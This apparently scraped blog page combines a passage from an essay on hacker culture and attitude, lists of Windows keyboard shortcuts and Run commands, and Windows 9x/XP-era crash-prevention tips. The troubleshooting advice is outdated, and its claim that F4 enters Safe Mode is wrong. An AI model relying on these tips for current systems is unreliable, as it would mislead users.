You can find BSD Unix help and resources at http://www.bsd.org/.
A good way to dip your toes in the water is to boot up what Linux fans call a live CD, a distribution that runs entirely off a CD without having to modify your hard disk. This will be slow, because CDs are slow, but it's a way to get a look at the possibilities without having to do anything drastic.
I have written a primer on the basics of Unix and the Internet.
I used to recommend against installing either Linux or BSD as a solo project if you're a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible, even for a newbie. Nevertheless, I still recommend making contact with your local Linux user's group and asking for help. It can't hurt, and may smooth the process.
3. Learn how to use the World Wide Web and write HTML.
Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.
This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; here's one.)
But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see The HTML Hell Page).
To be worthwhile, your page must have content — it must be interesting and/or useful to other hackers. And that brings us to the next topic...
4. If you don't have functional English, learn it.
As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.
Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).
Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.
THE HACKER ATTITUDE
THESE ARE THE MAIN ATTITUDES OF A HACKER...
1. The world is full of fascinating problems waiting to be solved.
2. No problem should ever have to be solved twice.
3. Boredom and drudgery are evil.
4. Freedom is good.
5. Attitude is no substitute for competence
Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.
But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things is important for you — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters — not just intellectually but emotionally as well.
Or, as the following modern Zen poem has it:
To follow the path:
look to the master,
follow the master,
walk with the master,
see through the master,
become the master.
So, if you want to be a hacker, repeat the following things until you believe them:
--> 1. The world is full of fascinating problems waiting to be solved.
Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.
If you aren't the kind of person that feels this way naturally, you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking energy is sapped by distractions like sex, money, and social approval.
(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece — and so on, until you're done.)
---> 2. No problem should ever have to be solved twice.
Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.
To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones.
Note, however, that "No problem should ever have to be solved twice." does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and force people to re-invent wheels.
(You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)
---> 3. Boredom and drudgery are evil.
Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.
To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).
(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, or in order to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)
---> 4. Freedom is good.
Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.
(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)
Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.
---> 5. Attitude is no substitute for competence.
To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.
Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.
If you revere competence, you'll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.
WHO IS ACTUALLY CALLED A HACKER??
The Jargon File contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits.
- If you want to know how to become a hacker, though, only two are really relevant.
There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. - The members of this culture originated the term ‘hacker’.
- Hackers built the Internet.
- Hackers made the Unix operating system what it is today.
- Hackers run Usenet.
- Hackers make the World Wide Web work.
- If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.
- The hacker mind-set is not confined to this software-hacker culture.
- There are people who apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is really independent of the particular medium the hacker works in. But in the rest of this document we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.
There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. - Real hackers call these people ‘crackers’ and want nothing to do with them.
- Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer.
- Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.
- The basic difference is this: hackers build things, crackers break them.
If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.
Dec 11, 2008
KEYBOARD SHORTCUTS
Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:
Windows key + R = Run menu
This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer
ALT + Tab = Switch between windows
ALT, Space, X = Maximize window
CTRL + Shift + Esc = Task Manager
Windows key + Break = System properties
Windows key + F = Search
Windows key + D = Hide/Display all windows
CTRL + C = copy
CTRL + X = cut
CTRL + V = paste
Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.
Keyboard Shortcuts
[Alt] and [Esc] Switch between running applications
[Alt] and letter Select menu item by underlined letter
[Ctrl] and [Esc] Open Program Menu
[Ctrl] and [F4] Close active document or group windows (does not work with some applications)
[Alt] and [F4] Quit active application or close current window
[Alt] and [-] Open Control menu for active document
Ctrl] Lft., Rt. arrow Move cursor forward or back one word
Ctrl] Up, Down arrow Move cursor forward or back one paragraph
[F1] Open Help for active application
Windows+M Minimize all open windows
Shift+Windows+M Undo minimize all open windows
Windows+F1 Open Windows Help
Windows+Tab Cycle through the Taskbar buttons
Windows+Break Open the System Properties dialog box
acessability shortcuts
Right SHIFT for eight seconds........ Switch FilterKeys on and off.
Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.
Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.
SHIFT....... five times Switch StickyKeys on and off.
NUM LOCK...... for five seconds Switch ToggleKeys on and off.
explorer shortcuts
END....... Display the bottom of the active window.
HOME....... Display the top of the active window.
NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.
NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.
NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.
LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.
RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.
Type the following commands in your Run Box (Windows Key + R) or Start Run
devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog
internetbrowser
type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it
For Windows XP:
Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.
Use these keyboard shortcuts for dialog boxes:
To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE
If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:
Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U
accessibility keyboard shortcuts:
Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U
shortcuts you can use with Windows Explorer:
Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW
TIPS TO AOID PC CRASH
Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
6 Viruses
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( http://www.symantec.com/).
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.
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